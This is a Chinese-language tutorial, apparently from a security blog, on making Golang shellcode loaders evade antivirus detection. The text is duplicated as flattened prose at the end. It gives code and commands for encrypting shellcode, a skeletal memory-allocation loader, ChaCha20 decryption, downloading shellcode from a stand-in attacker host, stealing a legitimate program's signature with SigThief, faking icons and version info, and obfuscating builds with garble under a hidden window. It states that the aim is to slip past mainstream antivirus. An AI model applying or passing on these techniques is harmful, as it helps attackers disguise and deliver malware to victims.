免杀与 golang 实现
字数 1368 2025-08-10 08:28:52

Golang免杀技术详解:从理论到实践

1. 免杀理论基础:熵值分析

1.1 熵值概念

  • 熵值衡量二进制文件的随机性程度
  • 合法软件熵值范围:4.8-7.2
  • 恶意软件熵值通常>7.2
  • 高熵值通常由压缩或加密引起

1.2 熵值计算实现

Go语言实现熵值计算公式:

func calculateEntropy(buffer []byte) float64 {
    l := float64(len(buffer))
    m := map[byte]float64{}
    for _, b := range buffer {
        m[b]++
    }
    var hm float64
    for _, c := range m {
        hm += c * math.Log2(c)
    }
    return math.Log2(l) - hm/l
}

1.3 PE节熵值分析

  • .text: 代码段
  • .data: 初始化数据
  • .rdata: 只读数据
  • .rsrc: 资源段(图标、版本信息等)
  • 恶意软件通常缺少.rsrc

2. 降低熵值技术

2.1 添加资源文件

  • 图标添加:使用Resource Hacker添加图标资源
  • 效果:增加.rsrc节,显著降低整体熵值

2.2 添加版权信息

  1. 使用Resource Hacker打开目标程序
  2. 选择VERSION_INFO资源
  3. 添加并修改详细信息:
    • 文件描述
    • 文件版本
    • 版权信息
    • 原始文件名
    • 产品名称
    • 产品版本

2.3 复制签名信息

使用SigThief工具复制合法程序的签名:

python sigthief.py -i 合法程序 -t 恶意程序 -o 输出程序

3. Shellcode处理技术

3.1 编码/加密方式

  1. Base64编码
    • 降低熵值约1.2
    • 副作用:文件体积增大
  2. 加密方案
    • 多字节异或
    • AES加密
    • RC4加密
    • ChaCha20加密
  3. 组合方案
    • B64XOR (Base64 + XOR)
    • B64RC4 (Base64 + RC4)
    • B64AES (Base64 + AES)
    • B64CHACHA20 (Base64 + ChaCha20)

3.2 Supernova_CN工具

扩展版Shellcode加密工具,支持:

./Supernova -enc 加密方式 -i 输入文件 -k 密钥长度 -lang 输出语言 -o 输出文件 -guide

可用加密方式:ROT, XOR, RC4, AES, CHACHA20, B64XOR, B64RC4, B64AES, B64CHACHA20

4. Golang免杀实现

4.1 基础Shellcode加载器

package main

import (
    "unsafe"
    "golang.org/x/sys/windows"
)

func main() {
    shellcode := []byte{...} // 原始Shellcode
    shellcodeExec, _ := windows.VirtualAlloc(...)
    // 复制Shellcode到内存
    // 修改内存保护为可执行
    // 创建线程执行Shellcode
    // 等待线程结束
}

4.2 ChaCha20解密实现

func Chacha20Decrypt(data []byte, key []byte) []byte {
    aead, _ := chacha20poly1305.NewX(key)
    nonce, ciphertext := data[:aead.NonceSize()], data[aead.NonceSize():]
    plaintext, _ := aead.Open(nil, nonce, ciphertext, nil)
    return plaintext
}

4.3 Shellcode存储方式

  1. 本地存储
    shellcode, _ := os.ReadFile("./shellcode.bin")
    
  2. 远程存储
    func fetchShellcode() []byte {
        _, body, _ := fasthttp.Get(nil, "http://attacker.com/shellcode.bin")
        return body
    }
    

5. 编译优化与混淆

5.1 编译参数

CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build \
    -trimpath \          # 去除路径信息
    -ldflags="-s -w" \   # 缩小文件体积
    -H=windowsgui        # 隐藏DOS窗口

5.2 Garble混淆

go install mvdan.cc/garble@latest
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 garble \
    -seed=random \       # 随机种子
    -tiny \              # 更激进混淆
    -literals \          # 混淆字面量
    build ...

5.3 编译时添加资源

  1. 准备资源文件:
    • icon1.ico: 程序图标
    • main.rc: 资源描述文件
  2. 编译资源:
    x86_64-w64-mingw32-windres -F pe-x86-64 main.rc -O coff -o icon.syso
    
  3. 正常编译程序,自动包含资源

6. 综合免杀方案

  1. Shellcode处理

    • 使用Supernova_CN进行B64CHACHA20加密
    • 确保加密后熵值在合法范围内
  2. 程序伪装

    • 添加合法图标和版本信息
    • 复制合法程序签名
    • 设置合理的文件属性和描述
  3. 加载技术

    • 选择AlternativeShellcodeExec-Go中的非标准加载方式
    • 实现远程Shellcode获取增加灵活性
  4. 编译优化

    • 使用garble进行代码混淆
    • 去除调试信息和路径
    • 隐藏运行窗口

7. 参考工具

  1. 熵值计算工具:EntropyCalc_Go
  2. Shellcode加密工具:Supernova_CN
  3. 多种加载方式:AlternativeShellcodeExec-Go
  4. 签名复制工具:SigThief
  5. 资源编辑工具:Resource Hacker

通过结合这些技术和工具,可以构建有效的Golang免杀方案,规避主流杀毒软件的检测。关键是要平衡熵值、文件大小和功能完整性,使最终程序在静态和动态分析中都表现得像合法软件。

Golang免杀技术详解:从理论到实践 1. 免杀理论基础:熵值分析 1.1 熵值概念 熵值衡量二进制文件的随机性程度 合法软件熵值范围:4.8-7.2 恶意软件熵值通常>7.2 高熵值通常由压缩或加密引起 1.2 熵值计算实现 Go语言实现熵值计算公式: 1.3 PE节熵值分析 .text : 代码段 .data : 初始化数据 .rdata : 只读数据 .rsrc : 资源段(图标、版本信息等) 恶意软件通常缺少 .rsrc 节 2. 降低熵值技术 2.1 添加资源文件 图标添加 :使用Resource Hacker添加图标资源 效果 :增加 .rsrc 节,显著降低整体熵值 2.2 添加版权信息 使用Resource Hacker打开目标程序 选择VERSION_ INFO资源 添加并修改详细信息: 文件描述 文件版本 版权信息 原始文件名 产品名称 产品版本 2.3 复制签名信息 使用SigThief工具复制合法程序的签名: 3. Shellcode处理技术 3.1 编码/加密方式 Base64编码 : 降低熵值约1.2 副作用:文件体积增大 加密方案 : 多字节异或 AES加密 RC4加密 ChaCha20加密 组合方案 : B64XOR (Base64 + XOR) B64RC4 (Base64 + RC4) B64AES (Base64 + AES) B64CHACHA20 (Base64 + ChaCha20) 3.2 Supernova_ CN工具 扩展版Shellcode加密工具,支持: 可用加密方式:ROT, XOR, RC4, AES, CHACHA20, B64XOR, B64RC4, B64AES, B64CHACHA20 4. Golang免杀实现 4.1 基础Shellcode加载器 4.2 ChaCha20解密实现 4.3 Shellcode存储方式 本地存储 : 远程存储 : 5. 编译优化与混淆 5.1 编译参数 5.2 Garble混淆 5.3 编译时添加资源 准备资源文件: icon1.ico : 程序图标 main.rc : 资源描述文件 编译资源: 正常编译程序,自动包含资源 6. 综合免杀方案 Shellcode处理 : 使用Supernova_ CN进行B64CHACHA20加密 确保加密后熵值在合法范围内 程序伪装 : 添加合法图标和版本信息 复制合法程序签名 设置合理的文件属性和描述 加载技术 : 选择AlternativeShellcodeExec-Go中的非标准加载方式 实现远程Shellcode获取增加灵活性 编译优化 : 使用garble进行代码混淆 去除调试信息和路径 隐藏运行窗口 7. 参考工具 熵值计算工具: EntropyCalc_ Go Shellcode加密工具: Supernova_ CN 多种加载方式: AlternativeShellcodeExec-Go 签名复制工具: SigThief 资源编辑工具:Resource Hacker 通过结合这些技术和工具,可以构建有效的Golang免杀方案,规避主流杀毒软件的检测。关键是要平衡熵值、文件大小和功能完整性,使最终程序在静态和动态分析中都表现得像合法软件。